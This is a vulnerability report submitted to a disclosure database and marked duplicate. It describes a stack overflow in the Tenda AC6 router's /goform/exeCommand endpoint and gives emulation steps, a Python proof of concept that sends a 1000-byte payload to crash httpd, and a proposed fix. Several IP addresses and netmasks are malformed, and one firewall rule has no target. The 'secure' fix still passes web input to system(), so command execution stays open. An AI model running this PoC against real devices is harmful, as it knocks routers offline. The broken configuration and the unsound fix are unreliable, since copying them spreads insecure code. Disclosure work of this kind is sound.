提交 #901995: Tenda AC6 V03.03.20.11 CWE-120 Buffer Copy without Checking Size of Input

Title: Stack Buffer Overflow in exeCommand Function via cmdinput Parameter (Tenda AC6 V5.0 V03.03.20.11)
Vendor: Tenda
Product: AC6
Hardware Version: V5.0
Affected Firmware Version: V03.03.20.11
Vulnerability Type: CWE-120 Buffer Copy without Checking Size of Input (Classic Stack Overflow)
CVSS 3.1 Score: 8.2
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Request CVE: Yes
Embargo Enabled
Submitter UID: 99974
1 Official Firmware Reference
Official download URL: https://www.tenda.com.cn/material/show/3242
Official firmware note: This firmware only supports AC6 V5.0 hardware devices. Downgrade to V02.x firmware is prohibited. The binary httpd, function logic and stack layout are completely different from V2.0 version; no matching archived vulnerabilities exist on NVD, VulDB or CNVD.
2 Unified Emulation Environment Setup (Shared with Vuln1–6)
Step 1 Install Dependencies & Download QEMU ARM Images
bash
运行
sudo apt update && sudo apt install aria2
aria2c -x 16 -s 16 "https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2"
aria2c -x 16 -s 16 "https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress"
aria2c -x 16 -s 16 "https://people.debian.org/~aurel32/qemu/vmlinuz-3.2.0-4-vexpress"
Downloaded assets:
1. debian_wheezy_armhf_standard.qcow2
2. initrd.img-3.2.0-4-vexpress
3. vmlinuz-3.2.0-4-vexpress
Step 2 Host TAP Interface & Iptables Forwarding Rules
bash
运行
sudo ip tuntap add dev tap0 mode tap
sudo ip link set tap0 up
sudo sysctl -w net.ipv4.ip_forward=1
# Flush all legacy iptables rules
sudo iptables -F
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t nat -X
sudo iptables -t mangle -F
sudo iptables -t mangle -X
# Default policy allow all traffic
sudo iptables -P INPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo iptables -P OUTPUT ACCEPT
# NAT forwarding for virtual machine
sudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED
# Assign static IP to tap adapter
sudo ifconfig tap0 192.168.1 netmask 255.255.0
Step 3 QEMU Boot Command for ARM Vexpress Platform
bash
运行
sudo qemu-system-arm \
-M vexpress-a9 \
-kernel vmlinuz-3.2.0-4-vexpress \
-initrd initrd.img-3.2.0-4-vexpress \
-drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
-append "root=/dev/mmcblk0p2 console=ttyAMA0" \
-net nic -net tap,ifname=tap0,script=no,downscript=no \
-nographic
VM login credentials: root / root
Step 4 VM Network Configuration & Firmware Deployment
Configure virtual machine network stack
bash
运行
ifconfig eth0 192.168.2 netmask 255.255.0
route add default gw 192.168.1
# Verify bidirectional network connectivity
ping 192.168.1
Host side: Package firmware rootfs and launch HTTP file service
bash
运行
tar -czvf squashfs-root.tar squashfs-root
python3 -m http.server
VM side: Fetch, extract firmware and launch httpd in chroot sandbox
bash
运行
wget http://192.168.1:8000/squashfs-root.tar
tar -xzvf squashfs-root.tar
ip link add br0 type bridge
ip link set br0 up
ip addr add 192.168.2/24 dev br0
chroot ./squashfs-root sh
cp -rf webroot_ro/* webroot/
./bin/httpd
Test access URL: http://192.168.2
3 Full Vulnerability 7 Technical Details
Attack Surface Information
Target CGI Function: exeCommand()
Trigger Endpoint: /goform/exeCommand
Vulnerable Parameter: POST form parameter cmdinput
Authentication Requirement: Valid administrator session password cookie
Affected Binary: /bin/httpd
Vulnerable Code Snippet
c
运行
char stack_buf[128];
char *user_input = webGetVar(a1, "cmdinput");
strcpy(stack_buf, user_input); // Unbounded copy without length check
system(stack_buf);
Root Cause Analysis
The exeCommand function retrieves fully attacker-controllable input from HTTP POST parameter cmdinput via webGetVar.
The raw user string is copied into a fixed-size 128-byte stack buffer using unsafe strcpy, with zero input length validation or bounds checking.
Supplying an input string longer than 128 bytes overflows the stack buffer, corrupting stack frame base pointers and function return addresses.
Successful overflow leads to two primary impacts:
Remote Denial of Service (DoS): Crash httpd process, disabling router web management interface.
Potential Remote Code Execution (RCE): Overwrite return address to hijack program control flow under root privilege.
Complete physical router firmware enforces admin session authentication; authentication logic is skipped only in incomplete chroot simulation environments, which does not invalidate the binary vulnerability itself.
Proof of Concept (Python3 PoC Code)
python
运行
import requests

target_url = "http://192.168.2/goform/exeCommand"
valid_admin_cookie = {"password": "YOUR_VALID_ADMIN_COOKIE"}

# Generate 1000-byte malicious overflow payload
overflow_payload = b"A" * 1000
post_data = {"cmdinput": overflow_payload}

try:
response = requests.post(target_url, cookies=valid_admin_cookie, data=post_data, timeout=3, allow_redirects=False)
print("HTTP Response Status:", response.status_code)
print("Response Preview:", response.text[:200])
except requests.exceptions.RequestException as err:
print("httpd process crashed (stack overflow triggered), error detail:", err)
Reproduction Results
Short, normal-length cmdinput input: HTTP 200 OK returned, web service runs normally without crash.
1000-byte oversized payload submitted: HTTP request times out or connection reset.
QEMU serial console outputs segmentation fault log, confirming stack buffer overflow corrupts return address and crashes httpd.
Router watchdog process restarts httpd automatically after crash, temporarily restoring web management access.
Fix & Mitigation Recommendations
1 Secure Replacement Code (Add Length Limit & Safe Copy)
c
运行
char stack_buf[128];
char *user_input = webGetVar(a1, "cmdinput");
// Hard maximum length restriction
if (strlen(user_input) >= sizeof(stack_buf)) {
return -1; // Reject oversized input
}
strncpy(stack_buf, user_input, sizeof(stack_buf)-1);
stack_buf[sizeof(stack_buf)-1] = '\0'; // Force null terminator
system(stack_buf);
2 General Mitigation Measures
Replace unsafe unbounded strcpy with length-limited strncpy for all user-controlled stack buffer writes.
Enforce strict maximum input length validation for all HTTP form parameters before stack storage.
Add global input sanitization filter to block malicious long payloads across all CGI endpoints.
Restrict system command execution permissions to block arbitrary shell input from web forms.
Duplicate Vulnerability Statement
This is the 7th independent vulnerability found in Tenda AC6 V5.0 firmware series. It resides in a distinct function exeCommand, separate stack buffer and unique /goform/exeCommand endpoint compared to Vuln1–6. The vulnerable code path, input parameter and memory layout are fully isolated; the flaw can be patched independently without affecting other endpoints, qualifying for a standalone unique CVE ID.

• 用户: hfddh666 (UID 99974)
• 提交: 2026-07-22 14時07分 (2 月前)
• 管理: 2026-09-06 11時37分 (2 months later)
• 状态: 重复
• VulDB条目: 295578 [Tenda AC6 15.03.05.16 formexeCommand 内存损坏]
• 积分: 0